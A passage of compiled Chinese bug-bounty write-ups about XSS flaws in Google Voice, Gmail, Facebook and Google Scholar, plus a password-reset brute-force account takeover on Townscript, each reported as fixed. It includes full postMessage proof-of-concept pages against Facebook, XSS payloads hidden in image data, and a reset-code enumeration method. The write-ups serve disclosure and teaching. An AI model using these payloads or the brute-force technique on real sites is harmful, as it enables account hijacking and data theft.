Y1qEs87.pngOJsMuco.png于是乎,我把Google Voice的源代码提取出来进行了一番分析,果然在其中的文件contentscript.js中,存在一个方法函数Wg(),就是它导致了DOM XSS。该函数如下:

function Wg(a) {

    for (var b = /(^|\s)((\+1\d{10})|((\+1[ \.])?\(?\d{3}\)?[ \-\.\/]{1,3}\d{3}[ \-\.]{1,2}\d{4}))(\s|$)/m, c = document.evaluate('.//text()[normalize-space(.) != ""]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null), d = 0; d < c.snapshotLength; d++) {

        a = c.snapshotItem(d);

        var f = b.exec(a.textContent);

        if (f && f.length) {

            f = f[2];

            var g = "gc-number-" + Ug,

                h = '<span id="' + g + '" class="gc-cs-link"title="Call with Google Voice">' + f + "</span>",

                k;

            if (k = a.parentNode && !(a.parentNode.nodeName in Og)) k = a.parentNode.className,

                k = "string" === typeof k && k.match(/\S+/g) || [], k = !Fa(k, "gc-cs-link");

            if (k) try {

                if (!document.evaluate('ancestor-or-self::*[@googlevoice = "nolinks"]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null)

                    .snapshotLength) {

                    if (0 == a.parentNode.childElementCount) {

                        var w = a.parentNode.innerHTML,

                            y = w.replace(f, h);

                        a.parentNode.innerHTML = y

                    } else {

                        w = a.data;

                        y = w.replace(f, h);

                        var u = Qc("SPAN");

                        u.innerHTML = y;

                        h = u;

                        k = a;

                        v(null != h && null != k, "goog.dom.insertSiblingAfter expects non-null arguments");

                        k.parentNode && k.parentNode.insertBefore(h,

                            k.nextSibling);

                        Vc(a)

                    }

                    var t = Ic(document, g);

                    t && (Ug++, nc(t, "click", ma(Sg, t, f)))

                }

            } catch (E) {}

        }

    }

}

上述代码理解起来不难,开发者试图从元素内容中查找抓取用户电话号码,然后使用抓取的电话号码作为其内容来创建另一个span元素,以便用户可以直接从网页中点击并实施呼叫操作。

仔细分解开来,在代码的第1行到第9行,用到了document.evaluate方法遍历元素内容,它可以在HTML和XML文档中进行搜索,并返回代表结果的实体XPathResult。也就是说,函数Wg()就是负责抓取元素内容的,它会把所有的文本结点赋值给变量 ‘a’,以此作为源进行后续处理查找,而以下代码就是导致DOM XPath注入的原因:

(var b = /(^|\s)((\+1\d{10})|((\+1[ \.])?\(?\d{3}\)?[ \-\.\/]{1,3}\d{3}[ \-\.]{1,2}\d{4}))(\s|$)/m, c = document.evaluate('.//text()[normalize-space(.) != ""]', a, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null), d = 0; d < c.snapshotLength; d++) {

        a = c.snapshotItem(d);

在上述代码之后,当函数Wg()继续执行搜索时,变量’b'会以正则方式在变量’a'中去匹配美国电话号码,如果有匹配结果,则赋值给变量 ‘f’,接下来,把它定义为变量’h'中的内容。

代码第10和11行主要是检查变量’f'中的HTML元素标记,它既不是形如SCRIPT, STYLE, HEAD, OBJECT, TEXTAREA, INPUT, SELECT, 或A这样的标记,也不是带有”gc-cs-link”的类属性名,它执行的检查目的在于:

1、防止插件与DOM混淆,因为它不想调用诸如SCRIPT、STYLE和HEAD之类的元素上的内容,也不希望用INPUT、SELECT等操作;

2、如果已经抓取到了电话号码,就停止代码,防止继续遍历循环。

代码第12行到27行中,存在一个if条件,如果其中的k变量为真,则说明找不到类属性名为gc-cs-link的内容,然后它会继续执行一个try声明,而在该try声明中的另一个if条件则会继续执行一个检查,如果找不到名为”googlevoice”的属性和名为”nolinks”的内容元素,则继续循环document.evaluate方法,检查变量’a'中的内容是否具备子元素,以下是其入口逻辑代码:

w = a.parentNode.innerHTML,

y = w.replace(f, h);

a.parentNode.innerHTML = y

接着,如果变量’a'中的内容不具备子元素,则将继续执行下一条语句:

k.parentNode && k.parentNode.insertBefore(h, k.nextSibling);

漏洞修复

我认为开发者可能是想执行变量 ‘f’中的内容,因为该内容中保存了由(innerHTML, insertBefore)方法获取的电话变量值,如’+12223334455′,但可能写代码的时候错误地执行了变量’a’ ,而在该变量中可以构造形如’444-555-4455 <img src=x onerror=alert(1)>’ 的XSS Payload,然后漏洞就发生了。

漏洞奖励

$3,133.7

*参考来源:missoumsai,clouds 编译整理,转载请注明来自 FreeBuf.COM

本文讲述了作者用Chrome浏览器开发工具DevTool,在Gmail的跨域通信中发现了隐蔽的DOM XSS漏洞,最终收获了谷歌$5000的奖励。

Gmail中的隐蔽消息

去年底,我在Gmail中研究起了DOM XSS漏洞,我并没用url参数或邮件本身来构造攻击面,而是把关注点放到了其中那些细微但却频繁使用到的postMessage api接口之上。初看起来,Gmail的收件箱像是一个简单网页,但是如果细细分析,你会发现,其背后是由多个不同框架(iframes)或网页进行相互通信的支撑。如下:

首先,我去寻找跨域通信(cross-frames),在Chrome的开发套件DevTools中并没有直接分析跨域通信的原生功能,这里,我们可以用这个简单的插件 - postMessage logger,它可以记录下当前的跨域通信情况。如下当Gmail收件箱加载后,Chrome开发套件就可以显示出大量不同域下的各个框架间的通信,它们负责来回传递消息。

上述每一个消息都有以下属性:

一个接收目标(即接收消息的框架frame)

一个消息发送源(发送消息的框架frame)

一个域(origin,消息源所在的域地址)

数据(一个字符串或一个JSON实体,或其它交互内容)

消息可在不同的框架frame间被传递,如果消息发送源对接收目标有指定的话,甚至可用window.opener、window.open() 和 window.frames方法,实现在不同域(Domain)或不同标签(Tab)下的框架进行消息传递。

接收目标用以下方法接收消息,就像上述插件postMessage logger中那样:

addEventListener("message", function(message){/* handle message here */})

如果消息过多,可以在插件postMessage logger中定制化过滤不同属性。在这些众多消息中,我发现了一个特别的消息,它在数据段中包含了一个url参数:

该消息由域名“hangouts.google.com”发送至“mail.google.com”,其不仅在消息数据段中包含参数url,而且该url参数中还包含了“frame”的字眼,哦,看来有点意思。

运用Chrome浏览器开发者工具

用Chrome浏览器的开发者工具,在其Network的网络活动标签下,通过点击Document文档类请求的”Doc”过滤标签,以此过滤出那些顶层窗口或带有src属性的iframes,在这里我找到了上述提到的那条特别的消息。如下:

可以肯定该消息的请求referrer属性为“mail.google.com” ,这就太好了,因为“mail.google.com”同时也是消息的接收目标。上图红圈中的为请求发起者“initiator”,其中的JS代码负责加载调用到的iframe,可以点击“initiator”就能打开相应的JS代码,在该代码段中,通过设置和跟踪断点,就能发现加载上述消息请求的具体代码位置,如下:

如上图所示,appendChild()方法负责加载上述请求消息。从该可读代码中我们可以清楚地看到其调用机制,从调试器中可以看到其消息中包含了一个src参数设置为url的iframe框架。如果点击Chrome浏览器工具右边部分的Call Stack区域,就能看到整个消息的运行机制和逻辑。

例如,以下描述是frame的消息接收机制:

以下是消息发送源的发送机制:

这里要提醒一下:在消息的listener和url加载端之间,存在各种各样的文件和代码,可以使用浏览器开发工具对其进行不断的调试运行,总之这是一个反复试错的过程。

有了以下了解之后,利用上述消息,我在客户端中把消息中src涉及的url参数替换成了“javascript:alert(1)” 进行测试,然而,我并没有得到一个alert弹窗,原因在于内容安全策略CSP的阻挡。

但是,好在发现该漏洞的时候,IE11 和 Edge 中没有强制CSP策略,因此在这两个浏览器中就能实现“javascript:alert(1)” 的触发实现。该漏洞原因在于未对消息源origin进行检查,一种简单的攻击场景就是,攻击者从Gmail页面中打开新标签,用postMessage方法在标签页中注入Payload。攻击者利用该方法可从受害者Gmail页面中执行任意代码,从Gmail标签中加载javascript形式的iframe,深入利用可读取并发送受害者邮件,甚至是更改受害者邮箱密码。

随机的频道名称(Channel Name)

最后还存在一个问题:在众多的通信frame之间,要找到上述那个特别的消息确实会有些困惑,因为每个消息都会有一个所谓的频道名称(Channel Name),而由“hangouts.google.com”发送至“mail.google.com”的消息频道名称是一个6位数的数字组成,它包含在第一个交互消息中,在后续的交互消息中,“hangouts.google.com”会以该频道名称为验证,只有具备该频道名称的消息才会被“hangouts.google.com”发送处理。

所以对于攻击者来说,要想利用这种漏洞,那么首先这种随机性的频道名称(Channel Name)确实很难捉摸确定,不过2012年有安全研究者曾对这种消息机制中的随机数生成方法Math.random() 进行了利用,并在Facebook API中发现了XSS漏洞,但是,该漏洞利用需要在跨域的网页中共享随机数生成器(random generator )的状态。

当然了,另外还可以在在Gmail标签页面的框架层次结构中加载由攻击者控制的iframe。由于iframe的跨域重定向在浏览器中的工作方式,且Gmail网页通信中的X-Frame-Options属性为SAMEORIGIN”,且消息发送参数targetOrigin的值为“*”,因此,在网络抓包中也是可以拦截到频道名称(Channel Name)的 ,那最后也能实现XSS触发利用。

总结

反复试验后,我也没在Gmail中找到加载控制iframe的简单方法,但理论上来说,该漏洞是完全可以被攻击者进行利用的。最终我把漏洞上报给了谷歌安全团队,几天之后就收到了他们“Nice Catch”(好洞)的回复,奖励是$5000美金。谷歌的修复方式是在消息发送源的url参数加入了安全检查。另外,Chrome浏览器的开发者工具是一个非常不错的调试套件,可以支持个性化的插件开发,对Web找洞很帮助。

*参考来源:opensec,clouds 编译整理,转载请注明来自 FreeBuf.COM

文章讲述了作者分析Facebook开发者网站https://developers.facebook.com,从中发现网站postMessage()方法存在安全配置问题,可形成DOM XSS漏洞,对Facebook用户个人信息和账户构成威胁。漏洞最终获得Facebook奖励$20000。

window.postMessage()

window.postMessage() 方法可以实现跨域通信。通常来说,对于两个不同页面的脚本,只有基于同源策略时,这两个脚本才能相互通信。而window.postMessage() 方法借助postMessage API,即可实现跨域间的通信,例如,在一个页面和它生成的弹出窗口之间,或者是页面和嵌入其中的iframe之间。

更多postMessage方法的跨域通信知识,可以参考以下文章:

How cross window/frame communication happens in Javascript

https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/

https://ngailong.wordpress.com/2018/02/13/the-mystery-of-postmessage/

漏洞背景

我认为postMessage引发的漏洞一直是被漏洞众测平台低估的,而且好多漏洞测试人员好像都不怎么重视。

最近,在找烦了一些开放接口和泄露密码类的漏洞之后,我想找找客户端漏洞,一开始我聚焦的范围是跨站脚本包含(XSSI)、JSONP(JSON with Padding)和postMessage类漏洞,但在cookie机制引入了SameSite属性后,前两种漏洞几乎已经灭绝了, 因此,我把重点放到了容易被大多数安全研究者忽视的postMessage漏洞身上,而且这种类型的漏洞测试起来相对简单且无需绕过防火墙。

为了方便测试/记录页面中的跨窗口通信,我自己写了一个Chrome插件式的跨域测试工具。正常来说,网站在小部件(widgets)、 插件(plugins)和开发组件(web SDKs)之间会使用iframe跨域通信。因此,我把测试目标定位在了Facebook网站的iframe框架上,这里,首当其冲的就是Facebook的开发者网站https://developers.facebook.com,因为该网站包含了很多的第三方插件。

之后,我发现该网站中的“Facebook Login SDK for JavaScript”创建了一个代理性质的iframe:v6.0/plugins/login_button.php,Facebook用它来进行跨域通信,其中该代理iframe还负责加载“Continue with Facebook ”按钮,但更有意思的是,网站中的javascript SDK在与该代理iframe通信时,其向代理iframe发送的一个初始负载中包含了“Continue with Facebook ”按钮的URL链接。大致的流程图如下:

如果我们仔细观察上述javascript SDK发给代理iframe的初始Payload,可以看到,其中的url参数会被一个i变量进行调用,而且,当按钮被用户点击后,会触发以下window.open事件:

i.url = i.url.replace(/cbt=\d+/, “cbt=” + a);

a = window.open(i.url, i.id, b(“buildPopupFeatureString”)(i));

当我看到 window.open 事件中的javascript时,我就若有所思了,因为用它可以来构造window.open(‘javascript:alert(document.domain)’)这种DOM XSS的漏洞利用,而且在javascript中,完全没有URL或其它形式的身份验证机制。

因此,如果我们向Facebook代理iframe-https://www.facebook.com/v6.0/plugins/login_button.php,发送一个形如url:’javascript:alert(document.domain)’的Payload后,如果用户点击了“Continue With Facebook”按钮后,那么javascript:alert(document.domain)就会毫无疑问地在facebook.com网站中触发执行了!

Exploiting the Iframe

这里有两种方法来进行构造利用:

1、打开一个弹出窗口并与其进行通信

2、打开一个iframe并与其进行通信

弹窗方法的构造代码如下:

<script>  

   var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

   setTimeout(function(){

        var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

        opener.postMessage(message, '*');

    },'4000');

</script>

在构造iframe方法时,由于Facebook的该网站服务端中缺失’X-Frame-Options’头或CSP嵌入策略头’frame-ancestors’,所以可以在构造代码中嵌入以下页面:

<script>

function fbFrameLoaded() {

  var iframeEl = document.getElementById('fbframe');

  var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};

  iframeEl.contentWindow.postMessage(message, '*');

};

</script>

<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

漏洞修复

Facebook通过添加了facebook.com正则域规则,并在javascript SDK发送给代理iframe的Payload中实施了url参数检查校验,最终修复了该漏洞。

d = b("isFacebookURI")(new (g || (g = b("URI")))(c.call.url)),

j = c.call;

d || (j.url = b("XOAuthErrorController").getURIBuilder().setEnum("error_code", "PLATFORM__INVALID_URL").getURI().toString())

漏洞PoC视频

漏洞影响

漏洞源于postmessage通信时的错误配置,导致攻击者可以构造恶意页面诱惑受害者点击其中的login with the Facebook按钮,从而会在facebook.com网站中触发一系列的恶意XSS Payload执行,深入利用将对受害者账户造成一键点击劫持。

漏洞上报和处理进程

2020.4.17 – 漏洞初报

2020.4.17 – Facebook确认漏洞有效

2020.4.20 – Facebook修复漏洞

2020.4.29 – Facebook验证漏洞修复有效

2020.5.01 – Facebook奖励了我$20000

*参考来源:vinothkumar,clouds 编译整理,转载请注明来自 FreeBuf.COM

本文讲述了作者利用多态图片触发谷歌学术网站( Google Scholar)XSS漏洞的测试,漏洞最终获得了谷歌$9400的奖励。此前作者也曾分享过名为《Funky_File_Formats》的演讲,其中分析了可以用多态图片构造基于JavaScript的XSS,可对客户端浏览器安全形成威胁。

多态图片(Polymorphic Image):指包含或被嵌入了代码的图片,嵌入代码可以在图片文件头部、尾部、元数据或ECS等区域。

漏洞发现

几个月前,我在上谷歌学术网站( Google Scholar)时发现了其一个奇怪的设计模式, 它在Web应用界面的获取呈现过程中,使用了location.hash参数和XHR请求方式,尤其是在一些模板片段显示时,会提取相关URI并以未转义方式加载到网页中,如下:

本身来说这应该是安全的,除非允许用户上传任意内容并能以同源方式渲染加载,但不巧的是,谷歌学术网站在其图片上传机制中确实如此,存在问题。

基于上述描述,有经验的渗透测试人员可能会觉得这种利用非常简单,然而谷歌学术平台后端在对上传图片的处理中采用了多种转化方式,如元数据剥离后重新处理图片等。在最开始我上报该漏洞时,谷歌安全团队也仅只是要求我提供PoC验证,并未考虑多态图片包含XSS Payload的可能。

在图片中嵌入代码的技术也可谓是一项老把戏了,我研究了过去的一些“众所周知”的技术以生成了各种多态图片,之后针对当前一些流行的图片处理库(如Imagemagick, GraphicsMagick, Libvips),开发了一个测试套件工具Standardized Image Processing Test Suite,以测试其图片处理过程中的安全性。利用工具Standardized Image Processing Test Suite可以在一些图片处理过程中发现很多有意思的bug问题,如隐藏webshell或javascript实现内容安全策略(CSP)的绕过。这里,就我测试的几种图片代码嵌入技术做一些讨论总结,然后应用“Payload嵌入到JPG的ECS区域”方法实现谷歌学术网站的XSS漏洞触发。

隐藏在EXIF中的Payload

这里,最简单的方法就是在图片元数据(metadata)中嵌入Payload了。在JPEG/JFIF类型图片中,元数据(metadata)都存储在一些特定应用标记(APPX)中,然而大多数图片处理库都未把这些标记的安全性考虑在内。Exiftool就是编辑此类图片属性的一个流行工具,但是它针对某些字符却做了转义,所以,我只好手动进行了插入。但愿谷歌学术能有相对宽松的白名单EXIFs,所以我在测试图片中嵌入了1.2k的通用EXIF标记,包括了标准的CIPA标记和一些非标准的标记。

如下JPG测试图片,我在其中的每个通用元数据区域都嵌入了alert()的XSS Payload:

如下PNG测试图片,同样在每个通用元数据区域都嵌入了alert()的XSS Payload:

以上两张测试图片中,在所有元数据区域都嵌入了alert()代码,尽管有些EXIF字段是很多流行Web平台都在用的属性,但经测试发现,它们在上述谷歌学术网站服务端上却无法有效触发XSS。一些Web平台的图片处理库在进行图片转化时会有异常发生,如PNG转PNG时,原始的PNG元数据可以保留,但从PNG转JPG时,原始的元数据就会发生丢失。

Payload嵌入到图片末尾方式(JPG中嵌入到0xFFD9后,PNG嵌入到IEND后)

由于图片在上传到Web应用平台后会被执行转化,所以这里这种把代码嵌入到图片末尾的Payload仅对一些上传图片不做转化的场景适用。

以下为alert()代码嵌入到0xFFD9后的JPG图片:

以下为alert()代码嵌入到IEND后的PNG图片:

Payload嵌入到PNG的iDAT区域

在PNG图片中,iDAT块常用来存储一些pixel像素信息,根据Web平台采用的转化机制,我们可以直接在iDAT块中插入XSS Payload,或是想办法绕过一些调整大小或重新采样操作。这里,谷歌学术仅只是生成了JPG图片而非PNG图片,所以这种技术在此也不适用。

Payload嵌入到JPG的ECS区域

在标准的JPEG文件交换格式(JFIF)中,熵编码数据段(entropy-coded data segment,ECS)包含了原始霍夫曼压缩位流的输出,该输出代表了包含图像数据的最小编码单位(MCU)。理论上说,可以将Payload嵌入到该区域中,但也不能保证Web后端在实施图片转化时会破坏Payload。所以,这就需要反复测试,创建一个在ECS区域嵌入Payload且不被图片转化机制破坏的JPG。

首先,我创建了与转化后图片质量相同的一个原始测试JPG图片,然后,基于这张0长度字符可更改EXIF信息的图片进行代码嵌入测试。经过反复实验,我发现把Payload放到距ESC不同偏移量的位置均不奏效,但是我发现一种方法:谷歌学术在处理图片时,如果用夹杂0×00 和 0×14字节把ESC分隔后,则ESC中的前几个字节信息将会得以保留,如下:

基于上述测试,我终于找到了正确的Payload安置点,可以保证其中的Payload在上传到谷歌学术后,不会被图片转化机制破坏。最终,也成功地在加载图片请求时触发了XSS弹窗alert(1):

另外,我们也提供了更多的XSS代码嵌入图片,如以下的onclick()

以下的mouseover()

当然了,你也可以访问我们放在Github上的开源测试工具StandardizedImageProcessingTest,用它来进行把玩研究。

谷歌学术XSS漏洞上报进程

[2019-09-28] 上报给Google安全团队

[2019-09-30] Google安全团队希望得到漏洞验证PoC

[2019-10-04] 我提供了PoC #1

[2019-10-10] Google安全团队再次要求我提供其它的漏洞验证PoC

[2019-10-11] 我又提供了PoC #2

[2019-11-05] Google安全团队在谷歌的两个服务端中复现了漏洞,奖励了我$6267.40

[2019-11-19] Google安全团队用同样的技术发现另外一个服务端中同样存在该类型XSS漏洞,再次奖励了我$3133.70

*参考来源:doyensec,clouds 编译整理,转载请注明来自 FreeBuf.COM

本文讲述了印度票务平台Townscript缺乏速率限制,以及密码重置缺陷导致的任意账户劫持漏洞。速率限制(Rate Limiting)仍是大多数Web应用不太重视的问题,但一旦与其它功能形成漏洞利用,也将会导致严重的危害影响。

漏洞发现

Townscript是一家印度在线活动票务公司,主要提供研讨会、展览、马拉松和冒险活动等项目的登记、注册和售票服务,只要用户发布活动项目,注册和购票页面就会自动生成,其于2017年被印度另一家在线票务平台BookMyShow收购。

近期,我们打算在印度国内举办名为“Letshack”的安全训练营活动,作为活动发起方,我们把该项活动的售票放到了Townscript平台。不巧的是,注册进行了一段时间之后,我就把绑定Townscript平台的邮箱密码和登录Townscript平台进行注册人员管理的密码都忘记了,糟糕!已经注册了500多人,而且活动将在数周后开始,这该如何是好!思来想去,我注册了一个新的Townscript账户打算向Townscript官方发邮件看看有何解决办法。

但之后,我想就着测试一下Townscript应用吧,看看是否存在漏洞可利用以找回我的先前账户…。说整就整,起初我想到的就是SQL注入,虽然SQL注入漏洞影响较大,但发现过程稍显复杂,我就把测试重点放到了相对简单的登录和注册页面上。

接下来,我就测试了登录页面上的“忘记密码”功能,经过一番分析之后,我发现该“忘记密码”并没有部署速率限制措施(rate limit),那是不是可以据此对其它人的账户密码来个暴力枚举呢?

我以我当前新注册的Townscript账户为例,在忘记密码功能区域输入了与该账户绑定的邮箱地址,然后点击“找回密码”,然后,我在该账户绑定的邮箱中收到了以下找回密码的链接:

可见,上述找回密码链接非常简单,其中包括了绑定账户的邮箱地址和一个code,该code是一个6位数的数字。那就用我之前账户的邮箱地址来试试吧,随便输入一个code值,用Burp来暴力枚举试试:

把6位数的构造字典拉进去就是一番枚举,但大部份响应看似都是一些404页面未找到的302响应,在我快要放弃的时候,我又检查了一下响应长度,一看,其中存在长度为391的响应:

尝试着把该响应进行转发,哇,竟然可以成功跳转到以下密码重置界面!

就这样,在密码重置功能缺乏速率限制(Rate Limit)的情况下,我通过暴力枚举重置了我之前忘记了Townscript登录密码和绑定邮箱密码的Townscript账户,成功找回了丢失的Townscript账户权限,以及其中注册的数百个参与人员信息。

但是,Townscript应用在账户设置中严禁更改用户的绑定邮箱,所以,即使根据上述密码重置漏洞劫持了受害者账户,但受害者一样还可以通过自己的绑定邮箱再次发起密码重置请求,找回账户,那对攻击者来说,这就不算真正意义上的账户劫持。

接下来,我对Townscript应用中的用户设置(edit)操作请求进行了抓包,从中发现了包含的用户绑定邮箱地址,然后我尝试对其进行了替换:

之后,竟然可以成功实现邮箱修改:

这样一来,也就是说,我可以利用密码重置缺乏速率限制+Code暴力枚举+更改用户绑定邮箱,实现真正意义上的账户劫持,只要知道对方用户的Townscript绑定邮箱,就能对其实施账户劫持。

经验总结

针对登录页面或密码重置功能可以多花点心思进行研究,尤其是对其中的参数、编码或用户属性进行测试,另外,缺乏速率限制也是当前大多数Web应用存在的问题,可以考虑用它来与其它功能进行组合利用。

*参考来源:medium,clouds 编译整理,转载请注明来自 FreeBuf.COM